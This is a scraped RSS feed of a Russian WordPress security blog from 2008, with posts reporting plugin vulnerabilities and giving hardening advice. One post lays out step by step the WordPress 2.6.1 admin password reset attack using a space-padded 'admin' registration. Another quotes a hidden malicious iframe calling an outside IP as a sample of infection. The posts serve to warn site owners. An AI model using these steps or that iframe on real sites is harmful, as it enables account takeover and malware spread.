Безопасность WordPress блогов http://wp-guard.com Как сделать ваш WordPress блог безопасным Mon, 03 Nov 2008 09:38:35 +0000 http://wordpress.org/?v=2.6.2 en 1645031http://www.feedburner.comSubscribe with My Yahoo!Subscribe with NewsGatorSubscribe with My AOLSubscribe with RojoSubscribe with BloglinesSubscribe with NetvibesSubscribe with GoogleSubscribe with Pageflakes Уязвимости в плагинах Media Holder и e-Commerce http://feeds.feedburner.com/~r/wp-guard/~3/440798169/ http://wp-guard.com/uyazvimosti-v-plaginax-e-commerce-media-holder/#comments Mon, 03 Nov 2008 09:38:35 +0000 admin http://wp-guard.com/?p=31 Найдены уязвимости в Wordpress-плагинах Media Holder и E-Commerce.

На обе уязвимости уже выпущены эксплоиты, которые могут использоваться для нарушения безопасности Вашего блога.

Плагин Media Holder предназначен для размещения в блоге различных медиа-данных, видео, аудио и тп.

Плагин e-Commerce используется для создания интернет-магазина на основе вашего Wordpress-блога.

Уязвимость в плагине Wordpress Media Holder связана с ошибкой обработки данных при работе с базой MySQL вашего блога. Эксплоит можно просмотреть здесь.

Уязвимость в плагине Wordpress e-Commerce связана с неправильной обработкой загружаемых на сервер файлов. Эксплоит можно посмотреть здесь.

Если вы используете один из этих плагинов в своем блоге, отключите их до тех пор, пока появится обновление, которое исправляет данные уязвимости.

Для борьбы с уязвимостями которые используют базу данных MySQL в Wordpress-блоге, возможно будет полезно изменение префикса таблиц, при установке блога, либо если блог уже установлен со стандартным префиксом wp_ воспользуйтесь плагином, который изменяет префиксы таблиц, в уже существующем блоге.

Связанные записи

]]> http://wp-guard.com/uyazvimosti-v-plaginax-e-commerce-media-holder/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=wp-guard&itemurl=http%3A%2F%2Fwp-guard.com%2Fuyazvimosti-v-plaginax-e-commerce-media-holder%2Fhttp://wp-guard.com/uyazvimosti-v-plaginax-e-commerce-media-holder/ Уязвимость SQL-инъекции в плагине WP Comment Remix http://feeds.feedburner.com/~r/wp-guard/~3/428249308/ http://wp-guard.com/uyazvimost-sql-inekcii-v-plagine-wp-comment-remix/#comments Wed, 22 Oct 2008 06:16:02 +0000 admin http://wp-guard.com/?p=29 Найдена уязвимость в плагине Wordpress - WP Comment Remix. Плагин предназначается для улучшения функций комментирования. Позволяет добавить функции цитирования и ответа на комментарии.

На эту уязвимость уже написан эксплоит, который позволяет извлечь из блога-жертвы очень много, важных данных, таких как:

  • Настройки блога и активные плагины
  • Список пользователей блога
  • Список администраторов блога

Сам эскплоит можно скачать здесь.

Для закрытия уязвимости, либо отключите плагин, либо смените префикс таблиц, в базе данных вашего блога со стандартного wp_ на что-то типа dsf342h_

Связанные записи

]]> http://wp-guard.com/uyazvimost-sql-inekcii-v-plagine-wp-comment-remix/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=wp-guard&itemurl=http%3A%2F%2Fwp-guard.com%2Fuyazvimost-sql-inekcii-v-plagine-wp-comment-remix%2Fhttp://wp-guard.com/uyazvimost-sql-inekcii-v-plagine-wp-comment-remix/ Уязвимость усечения данных в SQL Wordpress 2.6.1 http://feeds.feedburner.com/~r/wp-guard/~3/386467922/ http://wp-guard.com/sql_vuln_admin_password_wp_2_6_1/#comments Mon, 08 Sep 2008 08:00:29 +0000 admin http://wp-guard.com/?p=27 Найдена новая уязвимость в Wordpress 2.6.1 которая заключается в ошибке усечения данных в базе SQL.

  1. Идем по ссылке server.com/wp-login.php?action=register
  2. Регистрируемся как пользователь "admin                         x" и Ваш email
  3. Логин выглядит как admin[55 пробелов]х
  4. После регистрации дубликата логина администратора, идем по ссылке восстановления пароля: server.com/wp-login.php?action=lostpassword
  5. В форме восстановления пароля вводим email на который регистрировали дубликат логина администратора.
  6. Получаем письмо с ссылкой на сброс пароля, сбрасываем пароль администратора. Новый пароль прийдет на email, но правда уже не на Ваш, а на email настоящего администратора блога.

Связанные записи

]]> http://wp-guard.com/sql_vuln_admin_password_wp_2_6_1/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=wp-guard&itemurl=http%3A%2F%2Fwp-guard.com%2Fsql_vuln_admin_password_wp_2_6_1%2Fhttp://wp-guard.com/sql_vuln_admin_password_wp_2_6_1/ Уязвимости в Contact Form ][ для Wordpress http://feeds.feedburner.com/~r/wp-guard/~3/364638238/ http://wp-guard.com/uyazvimosti-v-contact-form-dlya-wordpress/#comments Thu, 14 Aug 2008 08:59:58 +0000 admin http://wp-guard.com/?p=25 Найдена уязвимость в плагинах контактной формы Wordpress - Contact Form версии 2.0.13 и ниже.

Плохая защита от ботов: отсутствие капчи, позволяет спам-ботам отправлять неограниченное количество спам-сообщений администратору сайта.

Использование функционала для рассылки спама: в форме контактов есть поле которое называется "Отправить копию самому себе", это настраивается в настройках плагина (CarbonCopy Ability), используя это поле, спам можно отправлять не только администратору сайта но и другим людям.

Используя эти две уязвимости, можно превратить контактную форму в инструмент по рассылке спама, большому количеству людей.

Источник: WebSecurity.

В своих блогах и своим заказчикам я устанавливаю контактную форму Wordpress с помощью плагина Wordpress Contact Form III, там присутствует проверка от спам-ботов.

Связанные записи

]]> http://wp-guard.com/uyazvimosti-v-contact-form-dlya-wordpress/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=wp-guard&itemurl=http%3A%2F%2Fwp-guard.com%2Fuyazvimosti-v-contact-form-dlya-wordpress%2Fhttp://wp-guard.com/uyazvimosti-v-contact-form-dlya-wordpress/ Секретные ключи в Wordpress 2.6 http://feeds.feedburner.com/~r/wp-guard/~3/348251288/ http://wp-guard.com/sekretnye-klyuchi-v-wordpress-26/#comments Mon, 28 Jul 2008 09:28:23 +0000 admin http://wp-guard.com/?p=22 Продолжая тему о уязвимости секретного ключа в файле конфигурации Wordpress, хочу обратить ваше внимание на то, что в новой версии Wordpress 2.6, кроме строчки “SECRET_KEY“ есть еще две, на которые также необходимо обращать внимание при установке или обновлении Wordpress блога.

Строчки эти выглядят вот так:

define('AUTH_KEY', 'впишите сюда уникальную фразу'); // Измените на уникальную фразу.
define('SECURE_AUTH_KEY', 'впишите сюда уникальную фразу'); // Измените на уникальную фразу.
define('LOGGED_IN_KEY', 'впишите сюда уникальную фразу'); // Измените на уникальную фразу.

Значение каждого параметра должно быть уникальным, сложным и длинным. Что бы не утруждать себя выдумыванием этих значений, вы можете воспользоваться специальным сервисом Wordpress, который генерирует эти три строчки для вашего файла конфигурации.

Просто откройте эту страничку, и скопируйте код в файл конфигурации вашего Wordpress блога wp-config.php, вот и все, теперь проблема с уникальными ключами вашего блога решена и ваш блог стал еще более защищённым.

Блоговодство:

Связанные записи

]]> http://wp-guard.com/sekretnye-klyuchi-v-wordpress-26/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=wp-guard&itemurl=http%3A%2F%2Fwp-guard.com%2Fsekretnye-klyuchi-v-wordpress-26%2Fhttp://wp-guard.com/sekretnye-klyuchi-v-wordpress-26/ Внимание вирус! http://feeds.feedburner.com/~r/wp-guard/~3/347611678/ http://wp-guard.com/badware/#comments Sun, 27 Jul 2008 18:03:58 +0000 admin http://wp-guard.com/?p=20 Вчера на одном из сайтов заказчиков, был обнаружен код, который определяется Google как вирусный код, все сайты которые содержат эту строчку, попадают сразу в категорию опасных сайтов, поэтому будьте внимательны и проверьте файлы своего сайта и посты, на наличие подобного кода.

<!-- Traffic Statistics --> <iframe src=хттп://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics -->

Если у вас нашлось что-то подобное, ознакомьтесь с этим постом.

Связанные записи

]]> http://wp-guard.com/badware/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=wp-guard&itemurl=http%3A%2F%2Fwp-guard.com%2Fbadware%2Fhttp://wp-guard.com/badware/ Уязвимость Wordpress Plugin Download Manager 0.2 http://feeds.feedburner.com/~r/wp-guard/~3/346432693/ http://wp-guard.com/uyazvimost-wordpress-plugin-download-manager-02/#comments Sat, 26 Jul 2008 08:08:25 +0000 admin http://wp-guard.com/?p=18 Уязвимость в данном скрипте, дает возможность атакующему закачать любой файл, на сервер. Это становится возможным из-за ошибки проверки входных данных в файле upload.php.

Исправления данной ошибки пока не существует, возможно будет выпущен патч, или ошибка будет исправлена в следующей версии Wordpress.

Пример использования данной уязвимости.

Связанные записи

]]> http://wp-guard.com/uyazvimost-wordpress-plugin-download-manager-02/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=wp-guard&itemurl=http%3A%2F%2Fwp-guard.com%2Fuyazvimost-wordpress-plugin-download-manager-02%2Fhttp://wp-guard.com/uyazvimost-wordpress-plugin-download-manager-02/ Wordpress 2.6 - еще больше безопасности http://feeds.feedburner.com/~r/wp-guard/~3/342271866/ http://wp-guard.com/wordpress-26-more-secure/#comments Tue, 22 Jul 2008 06:18:31 +0000 admin http://wp-guard.com/?p=16 Вышла новая версия лучшего движка для блогов - Wordpress 2.6. В новой версии исправлено очень много ошибок и уязвимостей, а также проделано много работы для повышения безопасности блога.

  • Теперь после установки Wordpress на новый блог, по умолчанию протокол удаленной работы с блогом XML-RPC отключен, до тех пор, пока администратор блога не активирует его в настройках. Теоритически возможность атаки блога через этот протокол существует, а блоггеров которые активно пользуются этим протоколом не так уж и много, поэтому данная мера должна немного повысить безопасность вашего блога.
  • Полная поддержка работы по протоколу шифрования SSL. Никаких плагинов и настроек делать не нужно, если возможно то Wordpress сам будет пытаться работать через зашифрованное подключение SSL.
  • Улучшения работы с базой данных и хранением сессий пользователей.

Помимо всего этого, обновление до версии Wordpress 2.6 исправляет 194 ошибки, которые небыли исправлены в 2.5.1.

Лично я уже обновил все свои блоги до версии 2.6, хотя на многих сайтах рекомендуют подождать немного, что бы посмотреть как будет работать новая версия. С уверенностью заявляю, пока что новая версия Wordpress 2.6 на моих ресурсах работает отлично.

Скачать русскую версию Wordpress 2.6 вы можете на официальном сайте Wordpress.

Связанные записи

]]> http://wp-guard.com/wordpress-26-more-secure/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=wp-guard&itemurl=http%3A%2F%2Fwp-guard.com%2Fwordpress-26-more-secure%2Fhttp://wp-guard.com/wordpress-26-more-secure/ XSS уязвимость плагина Nextgen gallery http://feeds.feedburner.com/~r/wp-guard/~3/314891821/ http://wp-guard.com/xss-uyazvimost-plagina-nextgen-gallery/#comments Wed, 18 Jun 2008 20:53:05 +0000 admin http://wp-guard.com/?p=15 В плагине Nextgen Gallery, версии <= 0.96 была найдена уязвимость XSS

Злоумышленник, может без авторизации использовать следующий скрипт:

http://[host]/[directory]/wp-admin/admin.php?page=nggallery-manage-gallery

Насколько известно, исправлений в данный момент не существует.

Связанные записи

]]> http://wp-guard.com/xss-uyazvimost-plagina-nextgen-gallery/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=wp-guard&itemurl=http%3A%2F%2Fwp-guard.com%2Fxss-uyazvimost-plagina-nextgen-gallery%2Fhttp://wp-guard.com/xss-uyazvimost-plagina-nextgen-gallery/ Уязвимость секретного ключа в wordpress 2.5 http://feeds.feedburner.com/~r/wp-guard/~3/309603734/ http://wp-guard.com/uyazvimost-sekretnogo-klyucha-v-wordpress-25/#comments Wed, 11 Jun 2008 12:52:31 +0000 admin http://wp-guard.com/?p=14 Очень важно при обновлении или установке Wordpress обратить внимание на параметр "SECRET_KEY", с этим параметром связана безопасность паролей в вашем блоге.

В новых версиях Wordpress этот ключ стали использовать для усиления алгоритма криптования паролей md5, поэтому очень важно иметь в качестве этого параметра какую-то длинную строчку с различными символами, дабы усложнить процесс расшифровки вашего пароля, если не дай то бог, злоумышленник получил доступ к зашифрованным паролям.

При установке или обновлении блога, Wordpress изначально не предлагает изменить эту строчку и вообще о ней ничего не говорит, именно поэтому у большинства блоггеров этот параметр выглядит примерно вот так: "put your unique phrase here".

Если вам лениво придумывать длинный набор символов, для этого параметра, воспользуйтесь онлайн сервисом, который сгенерирует для вас подходящую строчку. После этого, откройте файл wp-config.php и измените стандартную строку "put your unique phrase here" на строчку которую вы сгенерировали на сайте. Сохраните изменения и закачайте файл на сервер.

Связанные записи

]]> http://wp-guard.com/uyazvimost-sekretnogo-klyucha-v-wordpress-25/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=wp-guard&itemurl=http%3A%2F%2Fwp-guard.com%2Fuyazvimost-sekretnogo-klyucha-v-wordpress-25%2Fhttp://wp-guard.com/uyazvimost-sekretnogo-klyucha-v-wordpress-25/ http://api.feedburner.com/awareness/1.0/GetFeedData?uri=wp-guard